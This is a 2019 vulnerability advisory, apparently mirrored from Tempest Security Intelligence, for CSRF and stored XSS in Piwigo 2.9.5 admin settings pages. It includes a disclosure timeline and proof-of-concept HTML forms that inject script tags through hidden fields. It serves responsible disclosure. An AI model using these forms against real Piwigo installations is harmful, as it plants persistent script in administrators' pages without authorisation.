Piwigo 2.9.5 Cross Site Request Forgery / Cross Site Scripting - CXSecurity.com

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1741067 漏洞类型
发布时间 2019-09-15 更新时间 2019-09-15
CVE编号 CVE-2019-13364
漏洞平台 N/A CVSS评分 N/A
=====[ Tempest Security Intelligence - ADV-03/2019 ]==========================

Piwigo - Version 2.9.5

Author: Rodolfo Tavares

Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of Contents]==================================================
 * Overview
 * Detailed description
 * Timeline of disclosure
 * Thanks & Acknowledgements
 * References

=====[ Vulnerability Information]=============================================
 * Class: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79] [CWE-79] Cross-Site Request Forgery (CSRF) [CWE-352]
 * CVSS:6.8.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
 * CVE-2019-13363, CVE-2019-13364

=====[ Overview]========================================================
 * System affected : Piwigo - Version 2.9.5
 * Software Version : Version 2.9.5 (other versions may also be affected).
 * Impact : Piwigo 2.9.5 is vulnerable to Cross-Site Request Forgery and XSS via /admin.php?page=notification_by_mail&mode=param or /admin.php?page=account_billing. An attacker can exploit this by injecting and persisting javascript code to coerce an admin user into performing unintended actions.

=====[ Detailed description]=================================================

The html codes below exploit vulnerabilities in the same way due to the fact that both forms do not contain CSRF tokens and are vulnerable to XSS attacks. Then an attacker can host these forms on their malicious host and trick an administrator into visiting your page. If successful, the javascript code will be persistently inserted into the administrative configuration pages.
 * [admin.php?page=notification_by_mail&mode=param]

<form action="http://domain.com/admin.php?page=notification_by_mail&mode=param" method="POST">

<input type="hidden" name="nbm_send_html_mail" value="xssaxssa<IMG """><SCRIPT>alert(document.domain)</SCRIPT>"" />

<input type="hidden" name="nbm_send_mail_as" value="xssaxssa<IMG """><SCRIPT>alert(document.domain)</SCRIPT>"" />

<input type="hidden" name="nbm_send_detailed_content" value="xssa" />

<input type="hidden" name="nbm_complementary_mail_content" value="xssa" />

<input type="hidden" name="nbm_send_recent_post_dates" value="xssa" />

<input type="hidden" name="param_submit" value="xssa" />
 * [admin.php?page=account_billing]

<form id="myForm" action="https://pocs.piwigo.com/admin.php?page=account_billing" method="POST">

<input type="hidden" name="vat_number" value="xssa" />

<input type="hidden" name="billing_name" value="xssa"><script>alert(1)</script>" />

<input type="hidden" name="company" value="xssb" />

<input type="hidden" name="billing_address" value="xssc" />

=====[ Timeline of disclosure]===============================================

26/Jun/2019 - Responsible disclosure was initiated with the vendor.

26/Jun/2019 - Piwigo confirmed the issue;

08/Jul/2019 - CVEs was assigned and reserved as CVE-2019-13364 CVE-2019-13363

09/Aug/2019 - The vendor fixed the vulnerability CSRF.

12/Aug/2019 - The vendor fixed the vulnerability XSS.

=====[ Thanks & Acknowledgements]========================================
 * Tempest Security Intelligence [4]

=====[ References ]=====================================================

[1][ https://cwe.mitre.org/data/definitions/352.html|https://cwe.mitre.org/data/definitions/352.html]

[2][ https://cwe.mitre.org/data/definitions/79.html|https://cwe.mitre.org/data/definitions/79.html]

[3][ https://github.com/Piwigo/Piwigo/issues/1055|https://github.com/Piwigo/Piwigo/issues/1055]

[4][ http://www.tempest.com.br|http://www.tempest.com.br/]

=====[ EOF ]===========================================================